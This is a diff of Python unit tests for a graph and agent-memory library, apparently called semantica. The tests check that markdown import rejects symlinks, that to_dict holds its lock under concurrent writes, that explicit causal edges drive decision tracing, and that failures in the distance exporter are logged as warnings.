winerror = getattr(error, "winerror", None)
|
||||
if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
|
||||
pytest.skip("Windows symlink creation requires an unavailable privilege")
|
||||
raise
|
||||
|
||||
with pytest.raises(ValueError, match="symbolic link"):
|
||||
memory.export(format="markdown", destination=destination)
|
||||
@@ -724,3 +733,109 @@ def test_markdown_export_destination_must_be_a_directory(tmp_path):
|
||||
|
||||
with pytest.raises(ValueError, match="not a directory"):
|
||||
AgentMemory().export(format="markdown", destination=destination)
|
||||
|
||||
|
||||
def test_markdown_import_file_open_security_rejects_symlink(tmp_path):
|
||||
memory = AgentMemory()
|
||||
target = tmp_path / "secret.txt"
|
||||
target.write_text("secret content", encoding="utf-8")
|
||||
symlink_file = tmp_path / "memory.md"
|
||||
try:
|
||||
symlink_file.symlink_to(target)
|
||||
except OSError as error:
|
||||
winerror = getattr(error, "winerror", None)
|
||||
if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
|
||||
pytest.skip("Windows symlink creation requires an unavailable privilege")
|
||||
raise
|
||||
|
||||
with pytest.raises(ValueError, match="Symlink Markdown import paths are rejected"):
|
||||
memory._read_markdown_file_content(symlink_file)
|
||||
|
||||
def test_markdown_import_public_api_rejects_symlink(tmp_path):
|
||||
"""
|
||||
import_data(..., format="markdown") must propagate the symlink rejection
|
||||
through the full call chain: import_data → _import_markdown_payload →
|
||||
_read_markdown_path → _read_markdown_file_content.
|
||||
|
||||
This complements test_markdown_import_file_open_security_rejects_symlink,
|
||||
which only tests the private helper. A future refactor that bypasses
|
||||
_read_markdown_file_content would silently stop being protected; this test
|
||||
catches that.
|
||||
"""
|
||||
target = tmp_path / "secret.txt"
|
||||
target.write_text("secret content", encoding="utf-8")
|
||||
symlink_file = tmp_path / "memory.md"
|
||||
try:
|
||||
symlink_file.symlink_to(target)
|
||||
except OSError as error:
|
||||
winerror = getattr(error, "winerror", None)
|
||||
if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
|
||||
pytest.skip("Windows symlink creation requires an unavailable privilege")
|
||||
raise
|
||||
|
||||
memory = AgentMemory()
|
||||
with pytest.raises(ValueError, match="Symlink Markdown import paths are rejected"):
|
||||
memory.import_data(symlink_file, format="markdown")
|
||||
|
||||
|
||||
def test_markdown_import_directory_silently_skips_symlinked_entries(tmp_path):
|
||||
"""
|
||||
When importing a directory, symlink entries must be silently excluded.
|
||||
Only real regular files must be read.
|
||||
|
||||
This tests the filter in _read_markdown_path:
|
||||
not file_path.is_symlink()
|
||||
which was added by PR #932.
|
||||
"""
|
||||
# Write a real Markdown file in the directory
|
||||
real_md = tmp_path / "real.md"
|
||||
real_md.write_text(
|
||||
markdown_document(required_frontmatter(memory_id="dir-real"), "Real content"),
|
||||
encoding="utf-8",
|
||||
)
|
||||
# Write the symlink target outside the directory
|
||||
target = tmp_path.parent / "outside.txt"
|
||||
target.write_text("must not be read", encoding="utf-8")
|
||||
link_md = tmp_path / "evil.md"
|
||||
try:
|
||||
link_md.symlink_to(target)
|
||||
except OSError as error:
|
||||
winerror = getattr(error, "winerror", None)
|
||||
if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
|
||||
pytest.skip("Windows symlink creation requires an unavailable privilege")
|
||||
raise
|
||||
|
||||
memory = AgentMemory()
|
||||
# Must succeed, returning only the real file
|
||||
results = memory._read_markdown_path(tmp_path)
|
||||
assert len(results) == 1, (
|
||||
f"Expected 1 result (real.md only), got {len(results)}: "
|
||||
f"{[r[0] for r in results]}"
|
||||
)
|
||||
assert "Real content" in results[0][1]
|
||||
|
||||
|
||||
def test_markdown_import_rejects_non_regular_file(tmp_path):
|
||||
"""
|
||||
_read_markdown_file_content must raise ValueError when the opened file
|
||||
descriptor does not refer to a regular file (S_ISREG fails).
|
||||
|
||||
This tests the fstat()/S_ISREG guard, which is the defense-in-depth layer
|
||||
that catches special files (FIFOs, character devices) even when the
|
||||
is_symlink() pre-check passes. The test works on both POSIX and Windows
|
||||
because it mocks os.fstat rather than relying on platform-specific
|
||||
filesystem objects.
|
||||
"""
|
||||
import stat as stat_module
|
||||
|
||||
real_file = tmp_path / "not_really_regular.md"
|
||||
real_file.write_text("some data", encoding="utf-8")
|
||||
|
||||
# Build a mock stat result whose st_mode describes a FIFO (S_IFIFO).
|
||||
fake_stat = MagicMock()
|
||||
fake_stat.st_mode = stat_module.S_IFIFO | 0o600 # FIFO with rw permissions
|
||||
|
||||
memory = AgentMemory()
|
||||
with patch("semantica.context.agent_memory.os.fstat", return_value=fake_stat):
|
||||
with pytest.raises(ValueError, match="not a regular file"):
|
||||
memory._read_markdown_file_content(real_file)
|
||||
|
||||
@@ -252,5 +252,87 @@ class TestContextModule(unittest.TestCase):
|
||||
self.assertIsNotNone(ctx._memory)
|
||||
self.assertEqual(len(ctx._memory.short_term_memory), 1)
|
||||
|
||||
class TestContextGraphNodePropertyContract(unittest.TestCase):
|
||||
|
||||
_MISSING = object()
|
||||
|
||||
def _graph_with_node(self):
|
||||
graph = ContextGraph()
|
||||
graph.add_node("n1", "person", "Alice", role="engineer", score=0)
|
||||
return graph
|
||||
|
||||
def test_get_node_property_existing_node_existing_prop(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertEqual(graph.get_node_property("n1", "role"), "engineer")
|
||||
|
||||
def test_get_node_property_existing_node_missing_prop(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertIsNone(graph.get_node_property("n1", "nonexistent"))
|
||||
|
||||
def test_get_node_property_missing_node_returns_default_none(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertIsNone(graph.get_node_property("ghost", "role"))
|
||||
|
||||
def test_get_node_property_returns_default_on_missing_node(self):
|
||||
graph = self._graph_with_node()
|
||||
result = graph.get_node_property("ghost", "role", default=self._MISSING)
|
||||
self.assertIs(result, self._MISSING)
|
||||
|
||||
def test_get_node_property_returns_default_on_missing_prop(self):
|
||||
graph = self._graph_with_node()
|
||||
result = graph.get_node_property("n1", "nonexistent", default=self._MISSING)
|
||||
self.assertIs(result, self._MISSING)
|
||||
|
||||
def test_get_node_property_explicit_default_returned_for_absent_node(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertEqual(graph.get_node_property("ghost", "role", default="fallback"), "fallback")
|
||||
|
||||
def test_get_node_property_prop_value_of_zero_not_swallowed(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertEqual(graph.get_node_property("n1", "score"), 0)
|
||||
|
||||
def test_get_node_attributes_existing_node_returns_copy(self):
|
||||
graph = self._graph_with_node()
|
||||
attrs = graph.get_node_attributes("n1")
|
||||
self.assertIsInstance(attrs, dict)
|
||||
self.assertEqual(attrs.get("role"), "engineer")
|
||||
|
||||
def test_get_node_attributes_missing_node_returns_empty_dict_by_default(self):
|
||||
graph = self._graph_with_node()
|
||||
self.assertEqual(graph.get_node_attributes("ghost"), {})
|
||||
|
||||
def test_get_node_attributes_missing_node_explicit_default(self):
|
||||
graph = self._graph_with_node()
|
||||
result = graph.get_node_attributes("ghost", default={})
|
||||
self.assertEqual(result, {})
|
||||
|
||||
def test_add_node_attribute_mutation_callback_fires_on_update(self):
|
||||
graph = self._graph_with_node()
|
||||
fired = []
|
||||
graph.mutation_callback = lambda op, nid, data: fired.append((op, nid))
|
||||
graph.add_node_attribute("n1", {"extra": "value"})
|
||||
self.assertEqual(len(fired), 1)
|
||||
self.assertEqual(fired[0], ("UPDATE_NODE", "n1"))
|
||||
|
||||
def test_add_node_attribute_missing_node_no_callback(self):
|
||||
graph = self._graph_with_node()
|
||||
fired = []
|
||||
graph.mutation_callback = lambda op, nid, data: fired.append((op, nid))
|
||||
graph.add_node_attribute("ghost", {"extra": "value"})
|
||||
self.assertEqual(len(fired), 0)
|
||||
|
||||
def test_add_node_attribute_raising_callback_does_not_propagate(self):
|
||||
graph = self._graph_with_node()
|
||||
|
||||
def _boom(op, nid, data):
|
||||
raise RuntimeError("audit sink unavailable")
|
||||
|
||||
graph.mutation_callback = _boom
|
||||
# Should not raise, matching _add_internal_node/_add_internal_edge,
|
||||
# which already catch and log mutation_callback exceptions.
|
||||
graph.add_node_attribute("n1", {"extra": "value"})
|
||||
self.assertEqual(graph.get_node_property("n1", "extra"), "value")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Regression tests for ``ContextGraph.to_dict()`` thread safety.
|
||||
|
||||
``ContextGraph`` guards its state with ``self._lock`` (an ``RLock``), and every
|
||||
reader on the class takes it -- ``stats``, ``density``, ``find_nodes``,
|
||||
``find_edges``, ``get_neighbors``, ``get_nodes_by_label``, ``state_at`` and
|
||||
``save_to_file`` all do. ``to_dict`` was the one exception: it iterated
|
||||
``self.nodes.values()`` and ``self.edges`` unguarded, so a concurrent writer
|
||||
raised ``RuntimeError: dictionary changed size during iteration``.
|
||||
|
||||
``save_to_file`` was safe only incidentally -- it holds the lock and builds its
|
||||
payload inline rather than delegating to ``to_dict``.
|
||||
"""
|
||||
|
||||
import threading
|
||||
import time
|
||||
|
||||
from semantica.context.context_graph import ContextGraph
|
||||
|
||||
|
||||
def _seeded_graph(node_count: int = 200) -> ContextGraph:
|
||||
graph = ContextGraph(advanced_analytics=False)
|
||||
for i in range(node_count):
|
||||
graph.add_node(f"seed{i}", "seed")
|
||||
return graph
|
||||
|
||||
|
||||
class TestToDictHoldsTheLock:
|
||||
"""``to_dict`` must take ``_lock``, like every sibling reader."""
|
||||
|
||||
def test_to_dict_waits_for_the_lock(self):
|
||||
"""Deterministic proof the lock is held -- no race window needed.
|
||||
|
||||
With the lock held elsewhere, ``to_dict`` must block. Without the fix it
|
||||
returns immediately, since it never asks for the lock at all.
|
||||
"""
|
||||
graph = _seeded_graph(10)
|
||||
started = threading.Event()
|
||||
finished = threading.Event()
|
||||
|
||||
def snapshot():
|
||||
started.set()
|
||||
graph.to_dict()
|
||||
finished.set()
|
||||
|
||||
with graph._lock:
|
||||
worker = threading.Thread(target=snapshot, daemon=True)
|
||||
worker.start()
|
||||
assert started.wait(timeout=5.0), "the worker thread never started running"
|
||||
# The worker is now running and cannot finish while this thread
|
||||
# owns the lock.
|
||||
assert not finished.wait(timeout=0.5), (
|
||||
"to_dict() completed while another thread held _lock, so it is "
|
||||
"reading graph state unguarded"
|
||||
)
|
||||
|
||||
assert finished.wait(timeout=5.0), "to_dict() did not complete after _lock was released"
|
||||
worker.join(timeout=5.0)
|
||||
assert not worker.is_alive(), "the worker thread is still running after to_dict() finished"
|
||||
|
||||
def test_to_dict_is_reentrant_for_a_caller_holding_the_lock(self):
|
||||
"""``_lock`` is an ``RLock``, so lock-holding callers must not deadlock.
|
||||
|
||||
The nested acquisition runs in a daemon worker joined with a timeout so
|
||||
that a non-reentrant lock fails the test instead of hanging it.
|
||||
"""
|
||||
graph = _seeded_graph(10)
|
||||
result = {}
|
||||
|
||||
def nested_snapshot():
|
||||
with graph._lock:
|
||||
result["snapshot"] = graph.to_dict()
|
||||
|
||||
worker = threading.Thread(target=nested_snapshot, daemon=True)
|
||||
worker.start()
|
||||
worker.join(timeout=5.0)
|
||||
|
||||
assert not worker.is_alive(), (
|
||||
"to_dict() deadlocked when called by a thread already holding "
|
||||
"_lock -- the lock is no longer reentrant"
|
||||
)
|
||||
assert len(result["snapshot"]["nodes"]) == 10
|
||||
|
||||
|
||||
class TestToDictUnderConcurrentWrites:
|
||||
"""The reported race: snapshot one thread, mutate from another."""
|
||||
|
||||
def _run_race(self, graph: ContextGraph, reader, duration: float = 1.0):
|
||||
"""Hammer ``reader`` while a writer adds nodes. Returns (errors, reads)."""
|
||||
stop = threading.Event()
|
||||
errors = []
|
||||
reads = []
|
||||
|
||||
def writer():
|
||||
i = 0
|
||||
while not stop.is_set():
|
||||
try:
|
||||
graph.add_node(f"w{i}", "written")
|
||||
except Exception as exc: # pragma: no cover - writer must stay healthy
|
||||
errors.append(exc)
|
||||
return
|
||||
i += 1
|
||||
|
||||
def reader_loop():
|
||||
while not stop.is_set():
|
||||
try:
|
||||
reads.append(reader())
|
||||
except Exception as exc:
|
||||
errors.append(exc)
|
||||
stop.set()
|
||||
return
|
||||
|
||||
threads = [
|
||||
threading.Thread(target=writer, daemon=True),
|
||||
threading.Thread(target=reader_loop, daemon=True),
|
||||
]
|
||||
for thread in threads:
|
||||
thread.start()
|
||||
time.sleep(duration)
|
||||
stop.set()
|
||||
for thread in threads:
|
||||
thread.join(timeout=5.0)
|
||||
assert not thread.is_alive(), (
|
||||
"a worker thread was still running 5s after the stop signal -- "
|
||||
"a hang here would otherwise leak into subsequent tests"
|
||||
)
|
||||
|
||||
return errors, reads
|
||||
|
||||
def test_to_dict_does_not_raise_during_concurrent_writes(self):
|
||||
graph = _seeded_graph()
|
||||
errors, reads = self._run_race(graph, graph.to_dict)
|
||||
|
||||
assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
|
||||
assert reads, "the reader thread never completed a to_dict() call"
|
||||
|
||||
def test_to_dict_snapshot_is_internally_consistent(self):
|
||||
"""The reported statistics must describe the payload actually emitted.
|
||||
|
||||
``to_dict`` builds ``nodes``/``edges`` and then reads ``len(self.nodes)``
|
||||
and ``len(self.edges)`` for its ``statistics`` block. Unguarded, a write
|
||||
landing between those steps yields counts that contradict the lists.
|
||||
"""
|
||||
graph = _seeded_graph()
|
||||
errors, reads = self._run_race(graph, graph.to_dict)
|
||||
|
||||
assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
|
||||
assert reads, "the reader thread never completed a to_dict() call"
|
||||
for snapshot in reads:
|
||||
stats = snapshot["statistics"]
|
||||
assert stats["node_count"] == len(snapshot["nodes"]), (
|
||||
f"statistics.node_count={stats['node_count']} contradicts the "
|
||||
f"{len(snapshot['nodes'])} nodes in the same snapshot"
|
||||
)
|
||||
assert stats["edge_count"] == len(snapshot["edges"]), (
|
||||
f"statistics.edge_count={stats['edge_count']} contradicts the "
|
||||
f"{len(snapshot['edges'])} edges in the same snapshot"
|
||||
)
|
||||
|
||||
def test_snapshot_node_ids_are_unique(self):
|
||||
"""A torn read can emit the same node twice; a locked one cannot."""
|
||||
graph = _seeded_graph()
|
||||
errors, reads = self._run_race(graph, graph.to_dict)
|
||||
|
||||
assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
|
||||
for snapshot in reads:
|
||||
ids = [node["id"] for node in snapshot["nodes"]]
|
||||
assert len(ids) == len(set(ids)), "to_dict() emitted duplicate node ids"
|
||||
@@ -0,0 +1,325 @@
|
||||
"""Regression tests for explicit causal edges in decision tracing (issue #975).
|
||||
|
||||
``trace_decision_causality()`` used to infer causes purely from shared NER
|
||||
entities plus timestamps, so relationships recorded through
|
||||
``add_causal_relationship()`` had no effect on the trace. When entity
|
||||
extraction found nothing, the chain came back empty even though an explicit
|
||||
``CAUSED`` edge was stored in the graph.
|
||||
"""
|
||||
|
||||
from semantica.context import ContextGraph
|
||||
from semantica.context.context_graph import ContextEdge
|
||||
|
||||
|
||||
CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR")
|
||||
|
||||
|
||||
def _graph_with_linked_decisions(category_a="hardware", category_b="failover"):
|
||||
"""Two decisions joined by an explicit CAUSED edge."""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
cause = graph.record_decision(
|
||||
category=category_a,
|
||||
scenario="Server Alpha fails",
|
||||
reasoning="PSU defect on server Alpha",
|
||||
outcome="flagged",
|
||||
confidence=0.9,
|
||||
)
|
||||
effect = graph.record_decision(
|
||||
category=category_b,
|
||||
scenario="Failover to server Beta",
|
||||
reasoning="Failover triggered because of server Alpha outage",
|
||||
outcome="approved",
|
||||
confidence=0.9,
|
||||
)
|
||||
graph.add_causal_relationship(cause, effect, relationship_type="CAUSED")
|
||||
return graph, cause, effect
|
||||
|
||||
|
||||
def test_trace_uses_explicit_edge_when_no_entities_extracted():
|
||||
"""The issue's reproduction: explicit edge must drive the trace on its own."""
|
||||
graph, cause, effect = _graph_with_linked_decisions()
|
||||
|
||||
# Precondition: the bug is only visible when NER finds nothing to overlap on.
|
||||
assert graph._decisions[cause]["entities"] == []
|
||||
assert graph._decisions[effect]["entities"] == []
|
||||
|
||||
chains = graph.trace_decision_chain(effect)
|
||||
|
||||
assert chains, "explicit CAUSED edge must produce a causal chain"
|
||||
hops = [hop for chain in chains for hop in chain["hops"]]
|
||||
assert any(
|
||||
hop["from"] == cause and hop["to"] == effect and hop["type"] == "CAUSED"
|
||||
for hop in hops
|
||||
)
|
||||
|
||||
|
||||
def test_trace_reports_relationship_type_of_each_explicit_edge():
|
||||
for relationship_type in CAUSAL_EDGE_TYPES:
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
cause = graph.record_decision(
|
||||
category="a", scenario="upstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
effect = graph.record_decision(
|
||||
category="b", scenario="downstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
graph.add_causal_relationship(cause, effect, relationship_type=relationship_type)
|
||||
|
||||
hops = [hop for chain in graph.trace_decision_chain(effect) for hop in chain["hops"]]
|
||||
assert [hop["type"] for hop in hops] == [relationship_type]
|
||||
|
||||
|
||||
def test_trace_follows_multi_hop_explicit_chain():
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
first = graph.record_decision(
|
||||
category="a", scenario="root cause", reasoning="r",
|
||||
outcome="flagged", confidence=0.9,
|
||||
)
|
||||
second = graph.record_decision(
|
||||
category="b", scenario="mitigation", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
third = graph.record_decision(
|
||||
category="c", scenario="follow-up", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
graph.add_causal_relationship(first, second, relationship_type="CAUSED")
|
||||
graph.add_causal_relationship(second, third, relationship_type="CAUSED")
|
||||
|
||||
chains = graph.trace_decision_chain(third)
|
||||
traced = {(hop["from"], hop["to"]) for chain in chains for hop in chain["hops"]}
|
||||
|
||||
assert (second, third) in traced
|
||||
assert (first, second) in traced
|
||||
|
||||
|
||||
def test_trace_survives_edge_referencing_unrecorded_decision():
|
||||
"""Edges can outlive ``_decisions`` (e.g. a graph restored via from_dict).
|
||||
|
||||
Such an edge must be skipped rather than aborting the whole trace.
|
||||
"""
|
||||
graph, cause, effect = _graph_with_linked_decisions()
|
||||
|
||||
graph.add_node("ghost", "decision", content="never recorded via record_decision")
|
||||
graph._add_internal_edge(
|
||||
ContextEdge(
|
||||
source_id="ghost",
|
||||
target_id=effect,
|
||||
edge_type="CAUSED",
|
||||
weight=1.0,
|
||||
metadata={},
|
||||
)
|
||||
)
|
||||
|
||||
chains = graph.trace_decision_chain(effect)
|
||||
|
||||
assert not any("error" in chain for chain in chains)
|
||||
hops = [hop for chain in chains for hop in chain["hops"]]
|
||||
assert any(hop["from"] == cause for hop in hops), "valid chain must survive"
|
||||
assert not any(hop["from"] == "ghost" for hop in hops)
|
||||
|
||||
|
||||
def test_explicitly_linked_decision_counts_as_direct_influence():
|
||||
"""Differing categories, so the category-match shortcut cannot mask the bug."""
|
||||
graph, cause, effect = _graph_with_linked_decisions(
|
||||
category_a="hardware", category_b="failover"
|
||||
)
|
||||
|
||||
impact = graph.analyze_decision_impact(cause)
|
||||
direct_ids = {entry["decision_id"] for entry in impact["direct_influence"]}
|
||||
indirect_ids = {entry["decision_id"] for entry in impact["indirect_influence"]}
|
||||
|
||||
assert effect in direct_ids
|
||||
assert effect not in indirect_ids
|
||||
|
||||
|
||||
def test_influence_is_not_double_counted_as_direct_and_indirect():
|
||||
graph, cause, effect = _graph_with_linked_decisions(
|
||||
category_a="shared", category_b="shared"
|
||||
)
|
||||
|
||||
impact = graph.analyze_decision_impact(cause)
|
||||
direct_ids = {entry["decision_id"] for entry in impact["direct_influence"]}
|
||||
indirect_ids = {entry["decision_id"] for entry in impact["indirect_influence"]}
|
||||
|
||||
assert not direct_ids & indirect_ids
|
||||
|
||||
|
||||
def test_explicit_edge_weight_of_zero_is_preserved():
|
||||
"""``add_edge()`` is public and can create causal edges with any weight.
|
||||
|
||||
A stored 0.0 must not be coerced to the 1.0 default, which would inflate
|
||||
``confidence_decay`` in the causal-chain report.
|
||||
"""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
cause = graph.record_decision(
|
||||
category="a", scenario="upstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
effect = graph.record_decision(
|
||||
category="b", scenario="downstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
graph.add_edge(cause, effect, "CAUSED", weight=0.0)
|
||||
|
||||
chains = graph.trace_decision_chain(effect)
|
||||
|
||||
assert [hop["edge_weight"] for chain in chains for hop in chain["hops"]] == [0.0]
|
||||
assert [chain["confidence_decay"] for chain in chains] == [0.0]
|
||||
|
||||
|
||||
def test_parallel_causal_edges_are_all_traced():
|
||||
"""Multiple causal edges between the same pair must not overwrite each other."""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
cause = graph.record_decision(
|
||||
category="a", scenario="upstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
effect = graph.record_decision(
|
||||
category="b", scenario="downstream", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
graph.add_edge(cause, effect, "CAUSED", weight=0.8)
|
||||
graph.add_edge(cause, effect, "INFLUENCED", weight=0.3)
|
||||
|
||||
hops = [hop for chain in graph.trace_decision_chain(effect) for hop in chain["hops"]]
|
||||
|
||||
assert sorted(hop["type"] for hop in hops) == ["CAUSED", "INFLUENCED"]
|
||||
assert sorted(hop["edge_weight"] for hop in hops) == [0.3, 0.8]
|
||||
|
||||
|
||||
def test_branching_graph_does_not_drop_alternative_chains():
|
||||
"""Diamond graph: both routes through the shared ancestor must be reported.
|
||||
|
||||
Cycle detection is per-path, so visiting ``S`` via one branch must not
|
||||
prevent reaching it again through the other.
|
||||
"""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
ids = {
|
||||
name: graph.record_decision(
|
||||
category="ops", scenario=name, reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
for name in ("R", "S", "A", "B", "D")
|
||||
}
|
||||
names = {decision_id: name for name, decision_id in ids.items()}
|
||||
for source, target in [("R", "S"), ("S", "A"), ("S", "B"), ("A", "D"), ("B", "D")]:
|
||||
graph.add_causal_relationship(ids[source], ids[target], relationship_type="CAUSED")
|
||||
|
||||
chains = graph.trace_decision_chain(ids["D"], max_steps=10)
|
||||
paths = {
|
||||
" -> ".join(
|
||||
[names[hop["from"]] for hop in chain["hops"]]
|
||||
+ [names[chain["hops"][-1]["to"]]]
|
||||
)
|
||||
for chain in chains
|
||||
}
|
||||
|
||||
assert "R -> S -> A -> D" in paths
|
||||
assert "R -> S -> B -> D" in paths
|
||||
|
||||
|
||||
def test_cyclic_causal_edges_terminate():
|
||||
"""A causal cycle must not recurse forever once cycle detection is per-path."""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
first = graph.record_decision(
|
||||
category="a", scenario="A", reasoning="r", outcome="approved", confidence=0.9,
|
||||
)
|
||||
second = graph.record_decision(
|
||||
category="b", scenario="B", reasoning="r", outcome="approved", confidence=0.9,
|
||||
)
|
||||
third = graph.record_decision(
|
||||
category="c", scenario="C", reasoning="r", outcome="approved", confidence=0.9,
|
||||
)
|
||||
graph.add_causal_relationship(first, second, relationship_type="CAUSED")
|
||||
graph.add_causal_relationship(second, third, relationship_type="CAUSED")
|
||||
graph.add_causal_relationship(third, first, relationship_type="CAUSED")
|
||||
|
||||
chains = graph.trace_decision_chain(first, max_steps=5)
|
||||
|
||||
assert chains
|
||||
assert not any("error" in chain for chain in chains)
|
||||
|
||||
|
||||
def _dense_causal_graph(levels, width):
|
||||
"""Layered DAG where every decision in a layer causes every one in the next."""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
layers = []
|
||||
for level in range(levels):
|
||||
layers.append([
|
||||
graph.record_decision(
|
||||
category="ops", scenario=f"L{level}n{index}", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
for index in range(width)
|
||||
])
|
||||
for level in range(levels - 1):
|
||||
for source in layers[level]:
|
||||
for target in layers[level + 1]:
|
||||
graph.add_causal_relationship(source, target, relationship_type="CAUSED")
|
||||
return graph, layers[-1][0]
|
||||
|
||||
|
||||
def test_dense_graph_is_bounded_and_reports_truncation():
|
||||
"""Per-path traversal is combinatorial, so the result must stay bounded.
|
||||
|
||||
Truncation is reported rather than silently dropping chains, which is the
|
||||
very failure this module exists to prevent.
|
||||
"""
|
||||
graph, sink = _dense_causal_graph(levels=9, width=5)
|
||||
|
||||
chains = graph.trace_decision_chain(sink, max_steps=9, max_chains=500)
|
||||
|
||||
markers = [chain for chain in chains if chain.get("truncated")]
|
||||
assert len(markers) == 1, "truncation must be reported exactly once"
|
||||
assert markers[0]["max_chains"] == 500
|
||||
assert len(chains) == 501, "500 chains plus the marker"
|
||||
|
||||
|
||||
def test_small_graph_reports_no_truncation():
|
||||
"""The cap must not alter results for graphs that fit within it."""
|
||||
graph, sink = _dense_causal_graph(levels=5, width=2)
|
||||
|
||||
chains = graph.trace_decision_chain(sink)
|
||||
|
||||
assert chains
|
||||
assert not any(chain.get("truncated") for chain in chains)
|
||||
|
||||
|
||||
def test_max_chains_none_disables_the_cap():
|
||||
graph, sink = _dense_causal_graph(levels=5, width=5)
|
||||
|
||||
capped = graph.trace_decision_chain(sink, max_chains=100)
|
||||
uncapped = graph.trace_decision_chain(sink, max_chains=None)
|
||||
|
||||
assert len(capped) == 101
|
||||
assert not any(chain.get("truncated") for chain in uncapped)
|
||||
assert len(uncapped) > len(capped)
|
||||
|
||||
|
||||
def test_entity_based_inference_still_applies_without_explicit_edges():
|
||||
"""The entity heuristic remains as a fallback; it must not be regressed."""
|
||||
graph = ContextGraph(advanced_analytics=True)
|
||||
earlier = graph.record_decision(
|
||||
category="ops", scenario="first", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
later = graph.record_decision(
|
||||
category="ops", scenario="second", reasoning="r",
|
||||
outcome="approved", confidence=0.9,
|
||||
)
|
||||
|
||||
# Simulate NER having produced a shared entity between the two decisions.
|
||||
shared_entity = "server_alpha"
|
||||
for decision_id in (earlier, later):
|
||||
graph._decisions[decision_id]["entities"] = [shared_entity]
|
||||
graph._entity_index.setdefault(shared_entity, set()).update({earlier, later})
|
||||
graph._decisions[earlier]["timestamp"] = graph._decisions[later]["timestamp"] - 60
|
||||
|
||||
hops = [hop for chain in graph.trace_decision_chain(later) for hop in chain["hops"]]
|
||||
|
||||
assert any(
|
||||
hop["from"] == earlier and hop["to"] == later and hop["type"] == "influences"
|
||||
for hop in hops
|
||||
)
|
||||
@@ -0,0 +1,117 @@
|
||||
"""Tests for DistanceExporter's silent-exception handling (issue #874).
|
||||
|
||||
Each of the four private metric helpers (_betweenness, _hop_distance,
|
||||
_weighted_distance, _semantic_similarity) wraps its computation in a bare
|
||||
except Exception and returns None/{} with no signal, so a raised exception is
|
||||
indistinguishable in the exported data from a legitimate "no path" result.
|
||||
"""
|
||||
|
||||
import logging
|
||||
|
||||
import pytest
|
||||
|
||||
from semantica.export.distance_exporter import DistanceExporter
|
||||
|
||||
|
||||
class _Node:
|
||||
def __init__(self, node_id):
|
||||
self.node_id = node_id
|
||||
self.node_type = "t"
|
||||
self.content = ""
|
||||
self.properties = {}
|
||||
|
||||
|
||||
class _Graph:
|
||||
def __init__(self):
|
||||
self.nodes = {"a": _Node("a"), "b": _Node("b")}
|
||||
self.edges = []
|
||||
|
||||
|
||||
class _RaisingPathFinder:
|
||||
def bfs_shortest_path(self, graph_dict, src, tgt):
|
||||
raise RuntimeError("bfs boom")
|
||||
|
||||
def dijkstra_shortest_path(self, graph_dict, src, tgt):
|
||||
raise RuntimeError("dijkstra boom")
|
||||
|
||||
|
||||
class _RaisingSimilarity:
|
||||
def cosine_similarity(self, graph_dict, src, tgt):
|
||||
raise RuntimeError("cosine boom")
|
||||
|
||||
|
||||
class _RaisingCentrality:
|
||||
def calculate_betweenness_centrality(self, graph_dict):
|
||||
raise RuntimeError("betweenness boom")
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def exporter():
|
||||
exp = DistanceExporter(_Graph())
|
||||
exp._path_finder = _RaisingPathFinder()
|
||||
exp._similarity = _RaisingSimilarity()
|
||||
exp._centrality = _RaisingCentrality()
|
||||
return exp
|
||||
|
||||
|
||||
def test_hop_distance_logs_warning_on_exception(exporter, caplog):
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
result = exporter._hop_distance({}, "a", "b")
|
||||
value, error = result
|
||||
assert value is None
|
||||
assert error == "hop_count"
|
||||
assert any("Hop distance" in rec.message for rec in caplog.records)
|
||||
|
||||
|
||||
def test_weighted_distance_logs_warning_on_exception(exporter, caplog):
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
result = exporter._weighted_distance({}, "a", "b")
|
||||
value, error = result
|
||||
assert value is None
|
||||
assert error == "weighted_distance"
|
||||
assert any("Weighted distance" in rec.message for rec in caplog.records)
|
||||
|
||||
|
||||
def test_semantic_similarity_logs_warning_on_exception(exporter, caplog):
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
result = exporter._semantic_similarity({}, "a", "b")
|
||||
value, error = result
|
||||
assert value is None
|
||||
assert error == "semantic_similarity"
|
||||
